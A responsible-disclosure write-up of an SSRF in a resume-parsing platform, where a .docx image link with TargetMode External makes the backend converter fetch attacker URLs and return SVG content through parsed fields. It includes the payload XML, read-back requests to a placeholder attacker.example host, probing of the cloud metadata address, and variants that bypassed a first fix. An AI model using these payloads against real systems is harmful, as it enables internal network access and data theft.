Reading SSRF responses back through a resume parser
A recruiting platform converted resumes with an office suite that fetched images marked as external. We first reported a blind SSRF; follow-up testing showed the converter rendered fetched SVG through PDF export, so the parsed resume fields carried the response back to us.
The platform extracts the text of every resume it receives. It does that by running the uploaded file through an office suite on the backend. A .docx is a zip archive, and inside it a relationships part maps IDs to the resources the document uses. A relationship can carry TargetMode="External", which tells the renderer to fetch the target when it draws the document instead of reading it from the archive.
We found this one together. The payload and the anonymous path came first and went into the report. A few days of follow-up testing then showed that two limits in that report were measurement errors and that the bug was a readable SSRF. Then came two retests: the first fix missed most of the variants, and the second one held.
The payload document
The only unusual thing in the file is one image relationship with an external target:
<Relationship Id="rId9"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://<listener-host>/poc.png"
TargetMode="External" />referenced from the document body:
<a:blip r:link="rId9" />No macros, no scripts, nothing malformed. The builder used the Python standard library only. On upload, the backend converted the document and fetched the image:
OPTIONS /poc.png HTTP/1.1
Host: <listener-host>
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
User-Agent: <office-suite> 7.3.7.2 <backend>/7.81.0 GnuTLS/3.7.3
GET /poc.png HTTP/1.1
Host: <listener-host>
User-Agent: <office-suite> 7.3.7.2 <backend>/7.81.0 GnuTLS/3.7.3That user agent matches a stock Ubuntu 22.04 package byte for byte, and 22.04 ships an end-of-life build of the suite. So we installed that exact package in a container and could answer most questions about the converter offline, without sending the platform another request.
Only one mechanism fired: a DrawingML a:blip with r:link pointing at an external image relationship. Sub-documents, altChunk, external headers, OLE objects, VML image data, chart external data, hyperlinks and an attached template in settings.xml all stayed quiet, each tested next to a known-good positive in the same run. Field codes (INCLUDETEXT, INCLUDEPICTURE, IMPORT, LINK, DDEAUTO) did not fetch either. That is the suite’s default behaviour for command-line conversion: link updating is off, and graphic links are still resolved when the page is drawn.
Anonymous trigger
The quickest reproduction used a free job seeker account. The anonymous path is the one that matters, though, so we built that one as well:
1. ask the public upload endpoint for a pre-signed storage policy no cookie, no session
2. upload the document to the storage bucket with that policy
3. apply to any job on a hosted job board, with the resume set to that object
4. the backend converts the document and calls outThe form’s anti-automation check was not bypassed. Its documented fallback mails a code to the applicant’s address, and the script read that code from a mailbox we owned, which is the flow a real applicant goes through. One application produced 9 HTTP requests and 24 DNS lookups at the listener, because each document is processed three times, from a pool of conversion workers across the provider’s address space.
The original report listed what it could not show: no response body came back, the fetch looked asynchronous so timing was flat, non-web ports were unresolved, and file:// worked in the converter offline but couldn’t be shown against production. The first two of those were wrong.
The blind measurement
The report checked for a response body by reading the plain text the platform extracted. The suite’s plain-text export throws linked images away whatever they contain. A fetch that succeeded and a fetch that failed produced the same empty output, so that test could never have returned a positive.
To find out what the pipeline really did, we used the job seeker upload. It answers synchronously with the fields its resume parser pulled out, so every upload is a small oracle: put one marker in exactly one place in the document and see whether it comes back.
| marker location | --convert-to txt |
--convert-to html |
platform returned it |
|---|---|---|---|
| body paragraph | yes | yes | yes |
| table cell | yes | yes | yes |
| header, footer | no | yes | yes |
| VML text box | no | yes | yes |
| footnote | no | yes | yes |
| comment | no | yes | no |
| document properties | no | yes | no |
| image alt text | no | no | no |
Headers, footers, text boxes and footnotes survive, while comments and document properties don’t. Neither text export nor HTML export gives that combination. PDF export followed by text extraction does. The footnote settled it. PDF export glues a footnote’s numeral to the text after it, so a footnote reading Zxfnt Marker comes out as 1Zxfnt Marker, and the platform returned "firstName": "1Zxfnt". All ten rows were reproduced offline against the same build, and the offline result predicted the platform’s response every time.
That matters because PDF export renders an SVG, text included, and text in a PDF is extractable.
Response read-back
The test document had one external image pointing at a server we controlled, which answered with an SVG containing a line of text. That text appeared nowhere in the uploaded file. Our server log, filtered to the converter’s user agent:
OPTIONS /svg/rt.svg?t=Zxremote%20Marker %7czxremote%40attacker.example
GET /svg/rt.svg?t=Zxremote%20Marker%7czxremote%40attacker.example
User-Agent: <office-suite> 7.3.7.2 <backend>/7.81.0 GnuTLS/3.7.3and the platform’s answer to that same upload:
{"firstName":"ZXLOCALBODY","lastName":null,"email":"zxremote@attacker.example" , ...}When the server answered with an SVG laid out like a full resume, the parser returned a complete structured record built only from remote content:
{"firstName":"Marcus","lastName":"Aurelius","email":"marcus.exfil@attacker.example",
"phoneNumber":"+14155557788",
"websites":{"linkedin":"https://www.linkedin.com/in/zxexfil-marker"},
"educations":[{"school":{"label":"ZxExfil University"},
"discipline":{"value":15,"label":"Computer Science"},
"degree":{"value":3,"label":"Bachelor's Degree"},
"startYear":2016,"endYear":2020}],
"employments":[{"company":"ZxExfilCorp Internal","title":"Staff Engineer"}]}Redirects work too. A 302 from our host to a second SVG was followed, and the second document’s text came back. So the URL written into the document doesn’t limit which response ends up being read.
Content-Type handling
This part was measured offline on the same build. With the URL held constant, six response types all fetched and rendered: image/svg+xml, text/plain, application/json, application/octet-stream, text/html, and no header at all. With the type held at image/svg+xml, seven URL shapes all rendered: .svg, .png, .jpg, .txt, .pdf, no extension, and a bare query string. The suite sniffs the body and nothing else.
That rules out one tempting fix. An egress proxy that only allows image/* responses would not stop this, because any endpoint that returns bytes that look like SVG is readable whatever type it declares.
Read limits
The response body has to be SVG. A JSON or plain-text body renders nothing, so this channel does not read arbitrary internal text endpoints. What comes back has passed through a resume parser, so the read is limited to what it classifies as a name, an email, a phone number, a link, education or employment.
The trigger is anonymous. The read-back is not: it goes through the job seeker upload, which needs a free account made with an email address. We looked for an anonymous read-back and didn’t find one. Quick Apply autofill needs a session, and the anonymous board upload only pushes the file to storage without parsing it.
Synchronous conversion
The original report also said the fetch was asynchronous, so response times were flat across destinations. That was wrong too. With our server sleeping five seconds before it answered, the upload went from 3.08 s to 13.53 s. The response only comes back once conversion has finished, which makes timing usable.
Cloud metadata on port 80
Timing fell into two tight classes: fast, around 3 to 4 seconds, and connect timeout, around 13.4 seconds. It can’t tell “refused” from “answered” (offline, both take about 0.25 s), but it separates “filtered or no route” from everything else cleanly. Used against a set of controls:
| destination | median | class |
|---|---|---|
| our host, port 80, renderable (control) | 5.47 s | fast, content reflected |
127.0.0.1:1, closed port (control) |
4.43 s | fast |
10.255.255.1, non-routable (control) |
13.92 s | timeout |
169.254.169.254:80 |
3.87 s | fast |
169.254.169.254:81 |
13.39 s | timeout |
169.254.1.1 |
13.43 s | timeout |
169.254.100.100 |
13.47 s | timeout |
169.254.170.2, container metadata |
13.38 s | timeout |
Every other link-local address and every other port on the metadata address time out. Only port 80 on 169.254.169.254 comes back fast. If there were simply no route to 169.254.0.0/16, it would time out everywhere, port 80 included.
We claimed reachability and nothing more. The metadata service answers text/plain, and plain text is exactly what this channel can’t render, so nothing was read from it. Whether reachability mattered depended on IMDSv1, which the vendor could check in seconds and we couldn’t check at all.
Egress filtering
Non-web ports were left open in the original report because a listener behind a shared tunnel received nothing, and the report rightly refused to read anything into that silence. Retrying from a VPS wouldn’t have proved anything either: the one available sat behind a cloud firewall that drops everything inbound except 22, 80 and 443.
Port 22 got around that. It’s reachable from the internet by definition, it isn’t an HTTP port, and sshd logs the source address of anything that speaks non-SSH to it, so it works as an oracle without binding a listener. Zx41R checked the instrument first: a plain HTTP request to port 22 from his own machine logged banner exchange: Connection from <ip>: invalid format. Then the converter was pointed at http://<host>:22/. The upload took 13.52 s, squarely in the timeout class, and sshd logged nothing from the provider’s ranges. Port 80 in the same run was fast and reflected content. Offline, the suite connects happily to 22, 25 and 3306, so the block sits in the network.
So Redis, Memcached, Elasticsearch and the rest of the non-web internal targets were out of reach. We said so in the follow-up, because it narrows the impact and the vendor would have found it anyway.
file:// URLs
file:// works in the converter, but production gave no way to observe it. The suite sniffs a file’s header and gives up without reading the body, so file size produces no timing signal:
| local path | conversion time |
|---|---|
| an 80.7 MB shared library | 0.87 s |
/etc/passwd, about 1 KB |
0.85 s |
| a path that doesn’t exist | 1.00 s |
A 0.15 s difference against ±0.7 s of production noise is not a measurement, so we left it as shown offline and not shown remotely. External entities in a fetched SVG (external entity, parameter entity, XInclude) were re-tested through the PDF path and stayed unresolved. The parameter-entity case came back with its internal default, which shows the entity machinery ran and refused the external load.
Vendor confirmation
The vendor confirmed that the response does come back through the parsed output, and gave us three facts we couldn’t get from outside: IMDSv2 is enforced, so there is no credential path; the service may only reach public web hosts on ports 80 and 443; and a fix stripping external references from every accepted format was in progress.
First fix
The vendor asked for a retest. The suite had been upgraded to a current release, which closed the end-of-life parsing surface on its own, but the stripping hadn’t reached this path. The retest used the same job seeker upload, eighteen hand-run documents, with a control in the same batch: a document with no external reference came back 201 with its body marker parsed, so a silent payload counted as a real negative. Twenty-two callbacks:
| case | change | result |
|---|---|---|
| P0 | the original payload, unmodified | fetched ×2 |
| B10 | same mechanism, different URL path | fetched ×2 |
| B3 | TargetMode='External', single quotes |
fetched ×2 |
| B4 | TargetMode="External", character reference |
fetched ×2 |
| B5 | TargetMode = "External", whitespace |
fetched ×2 |
| B7 | relationship in word/_rels/header1.xml.rels |
fetched ×6 |
| B8 | relationship in word/_rels/footnotes.xml.rels |
fetched ×2 |
| B1 | TargetMode absent |
no fetch |
| B2 | TargetMode="Internal" |
no fetch |
| B6 | targetmode="external", lowercase attribute |
no fetch |
| B9 | duplicate zip entry for document.xml.rels |
no fetch |
The four negatives are parser semantics. Without TargetMode="External" an absolute target isn’t an external relationship, XML attribute names are case-sensitive, and the zip reader takes the first entry for a duplicated part name. P0 firing unmodified meant nothing was on this path yet: any partly working stripper would have caught the canonical form first. B7 fired six times against two for everything else, so headers are resolved on every conversion pass. A fix scoped to the main document part would miss headers, footers, footnotes and endnotes, which each carry their own .rels.
The read-back still worked on the new build. A document whose only identity content was a linked image came back with an email address that existed only in the SVG our server returned. The same document without the reference returned email: null, and the same document with a local marker returned the local value.
One trap from that retest is worth passing on. The first attempt served the SVG through a third-party request-capture service. The converter fetched it every time, and the content never rendered. The identical bytes served from our own host rendered fine. If you test this class through a capture service and get empty fields, check the host serving the file before you conclude anything.
The other formats came out in the vendor’s favour. DOCX was accepted and fetched. TXT, RTF and PDF were accepted with no fetch, RTF because link updating is off. ODT, flat ODF and HTML were rejected with “must upload a valid resume”, even when renamed to .docx, so the check looks at the content. Offline, the suite fetches from all three, so that rejection was stopping working vectors. XLSX renamed to .docx was accepted but returned a different response shape, with no parse fields, which suggests the conversion path never saw it. It fetches fine offline, so it would go live the day that changes.
Second fix
Three weeks later the same battery found nothing. P0, B3, B4, B5, B7 and B8 were all quiet across fourteen uploads, with each document checked locally against the same callback host first and the control still parsing. Headers and footnotes were covered as well. One side effect: a document with an external image now parses to all-null fields with no reason given. The vendor said that was intentional.
Conclusion
A document format is a set of instructions, and a server-side converter runs them. Rich formats reference external resources by design: OOXML relationships, SVG references, remote resources in HTML, remote content in PDF, web queries in spreadsheets. Strip or reject external references across the whole package, by parsing the relationship XML instead of matching text, and reject rather than rewrite, because an external image has no legitimate place in a resume. Then deny the conversion sandbox outbound access by default, which is the control that still holds when the parsing side is wrong.
When a blind result comes back empty, check that the channel you measured through could have carried a positive. Here the text export threw the answer away before anyone looked.
Disclosure
Reported to the vendor and fixed, and we retested both fixes. The platform and the office suite aren’t named. Endpoints are described rather than quoted, addresses are removed, and the attacker domain is a placeholder.